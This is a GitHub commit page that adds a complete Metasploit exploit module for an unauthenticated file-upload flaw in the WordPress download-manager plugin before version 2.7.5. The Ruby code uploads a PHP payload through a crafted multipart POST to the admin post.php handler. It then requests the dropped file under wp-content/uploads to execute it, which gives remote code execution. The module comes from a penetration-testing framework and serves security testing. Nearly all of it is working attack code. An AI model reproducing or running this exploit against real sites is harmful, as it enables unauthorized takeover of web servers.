Skip to content

Commit 55b8d67

Browse files
committed
add wordpress download-manager exploit
1 parent 85e0d72 commit 55b8d67

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::HTTP::Wordpress
12+
include Msf::Exploit::FileDropper
13+
14+
def initialize(info = {})
15+
super(update_info(
16+
info,
17+
'Name' => 'Wordpress Download Manager (download-manager) Unauthenticated File Upload',
18+
'Description' => %q{
19+
The WordPress download-manager plugin contains multiple unauthenticated file upload
20+
vulnerabilities which were fixed in version 2.7.5.
21+
},
22+
'Author' =>
23+
[
24+
'Mickael Nadeau', # initial discovery
25+
'Christian Mehlmauer' # metasploit module
26+
],
27+
'License' => MSF_LICENSE,
28+
'References' =>
29+
[
30+
# The module exploits another vuln not mentioned in this post, but was also fixed
31+
['URL', 'http://blog.sucuri.net/2014/12/security-advisory-high-severity-wordpress-download-manager.html'],
32+
['WPVDB', '7706']
33+
],
34+
'Privileged' => false,
35+
'Platform' => ['php'],
36+
'Arch' => ARCH_PHP,
37+
'Targets' => [['download-manager < 2.7.5', {}]],
38+
'DefaultTarget' => 0,
39+
'DisclosureDate' => 'Dec 3 2014'))
40+
end
41+
42+
def check
43+
check_plugin_version_from_readme('download-manager', '2.7.5')
44+
end
45+
46+
def exploit
47+
filename = "#{rand_text_alpha(10)}.php"
48+
49+
data = Rex::MIME::Message.new
50+
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{filename}\"")
51+
post_data = data.to_s
52+
53+
print_status("#{peer} - Uploading payload")
54+
res = send_request_cgi(
55+
'method' => 'POST',
56+
'uri' => normalize_uri(wordpress_url_backend, 'post.php'),
57+
'ctype' => "multipart/form-data; boundary=#{data.bound}",
58+
'data' => data.to_s,
59+
'vars_get' => { 'task' => 'wpdm_upload_files' }
60+
)
61+
62+
if res && res.code == 200 && res.body && res.body.length > 0 && res.body !~ /filename.+\.php$/
63+
uploaded_filename = res.body
64+
register_files_for_cleanup(uploaded_filename)
65+
print_status("#{peer} - File #{uploaded_filename} successfully uploaded")
66+
else
67+
print_error("#{peer} - Error on uploading file")
68+
return
69+
end
70+
71+
file_path = normalize_uri(target_uri, 'wp-content', 'uploads', 'download-manager-files', uploaded_filename)
72+
73+
print_status("#{peer} - Calling uploaded file #{file_path}")
74+
send_request_cgi(
75+
'uri' => file_path,
76+
'method' => 'GET'
77+
)
78+
end
79+
end

0 commit comments

Comments
 (0)